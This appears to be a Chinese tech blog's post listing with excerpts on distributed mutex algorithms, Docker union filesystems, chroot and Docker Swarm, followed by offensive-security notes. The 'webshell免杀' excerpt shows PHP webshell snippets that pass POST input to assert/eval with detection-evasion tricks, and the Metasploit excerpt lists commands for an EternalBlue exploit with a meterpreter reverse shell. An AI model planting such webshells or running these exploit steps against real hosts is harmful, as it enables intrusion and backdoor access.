分布式互斥算法
算法介绍 性能比较 Lamport与R&A算法流程 FIFO是通信发送接收的要求 不是存储队列 https://cs.stackexchange.com/questions/103839/what-is-a-counterexample-for-lamports-distributed-mutual-exclusion-algorithm-wi https://www.cs.uic.edu/~ajayk/Chapter9.pdf https://blog.csdn.net/baishuiniyaonulia/article/details/121844088 https://www.geeksforgeeks.org/lamports-algorithm-for-mutual-exclusion-in-distributed-system/ https://en.wikipedia.org/wiki/Ricart–Agrawala_algorithm https://www.youtube.com/watch?v=yBnRO2gGock
docker联合文件系统
什么是联合文件系统 联合挂载是一种文件系统,它可以在不修改其原始(物理)源的情况下创建多个目录,并把内容合并为一个文件的错觉。这可能很有用,因为我们可能将相关文件集存储在不同位置中,但我们希望在单个合并视图中显示它们。例如,来自远程 NFS 服务器的/home 主目录全部联合到一个目录中,或者将分割的 ISO 镜像合并到一个完整的目录中。 联合挂载或联合文件系统是文件系统;但不是文件系统类型,而是一个包含许多实现的概念。其中一些速度更快性能更好,一些更简单,有不同的使用场景或不同的成熟度。因此,在我们开始深入了解细节之前,让我们快速浏览一下常见文件系统的实现: UnionFS - 让我们从原始的联合文件系统开始。UnionFS 似乎不再积极开发,其最新提交是从 2014 年 8 月开始的。您可以在其网站https://unionfs.filesystems.org/上阅读更多有关它的信息。 aufs - 原始 UnionFS 的重新实现,添加了许多新功能,但因合并到主线 Linux 内核而被拒绝。Aufs 是 Ubuntu/Debian 上 Docker 的默认驱动程序,但被...
Linux-chroot命令
chroot 可以用来切换当前进程的根目录,它能够将当前进程能够访问的目录树结构限制在某个子目录中,同时由于当前进程创建的子进程将会继承父进程的根目录结构,所以子进程也随之被限定。 为什么要使用 chroot 命令 增加了系统的安全性,限制了用户的权力: 在经过 chroot 之后,在新根下将访问不到旧系统的根目录结构和文件,这样就增强了系统的安全性。一般会在用户登录前应用 chroot,把用户的访问能力控制在一定的范围之内。 建立一个与原系统隔离的系统目录结构,方便用户的开发: 使用 chroot 后,系统读取的是新根下的目录和文件,这是一个与原系统根下文件不相关的目录结构。在这个新的环境中,可以用来测试软件的静态编译以及一些与系统不相关的独立开发。 切换系统的根目录位置,引导 Linux 系统启动以及急救系统等: chroot 的作用就是切换系统的根位置,而这个作用最为明显的是在系统初始引导磁盘的处理过程中使用,从初始 RAM 磁盘 (initrd) 切换系统的根位置并执行真正的 init,本文的最后一个 demo 会详细的介绍这种用法。 通过 chroot...
docker-swarm集群概念
swarm简介 Docker Swarm 是 Docker 官方推出的容器集群管理工具,基于 Go 语言实现。代码开源在:https://github.com/docker/swarm 使用它可以将多个 Docker 主机封装为单个大型的虚拟 Docker 主机,快速打造一套容器云平台。 Docker Swarm 是生产环境中运行 Docker 应用程序最简单的方法。作为容器集群管理器,Swarm 最大的优势之一就是 100% 支持标准的 Docker API。各种基于标准 API 的工具比如 Compose、docker-py、各种管理软件,甚至 Docker 本身等都可以很容易的与 Swarm 进行集成。大大方便了用户将原先基于单节点的系统移植到 Swarm 上,同时 Swarm 内置了对 Docker 网络插件的支持,用户可以很容易地部署跨主机的容器集群服务。 Docker Swarm 和 Docker Compose 一样,都是 Docker 官方容器编排工具,但不同的是,Docker Compose 是一个在单个服务器或主机上创建多个容器的工具,而 Docker...
webshell免杀
代码执行与命令执行: 代码执行: 可以用来执行代码的函数,参数是代码。例如eval() 命令执行: 可以用来执行命令的函数,参数是命令。例如system() 动态执行 12345678910<?phpassert($_POST['x']);$e = 'assert'; //eval不行$e("phpinfo();");$a = 'system'; $a("phpinfo();");?> php函数调用的对象必须是一个函数,但不包括eval,eval在php底层不是一个函数,assert是 回调函数 1234<?php$e = $_REQUEST['e'];?> 变量掺杂 1234567<?php$z = 'test';$$z = $_POST['x'];eval('',$test);?> 二维数组 编码绕过 无字母的马
Cobalt Strike使用
Cobalt Strike基础教程 Cobalt Strike使用教程一 https://zhuanlan.zhihu.com/p/359251293
MSF使用
基础使用 1234567891011msfconsole # 进入框架search ms17_010 # 使用search命令查找相关漏洞use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块info # 使用info查看模块信息show targets # 显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统show payloads # 查看可用的payload,默认reverse_tcpset payload windows/x64/meterpreter/reverse_tcp # 设置payloadshow options # 查看模块需要配置的参数set RHOST 192.168.100.158 # 设置参数exploit / run ...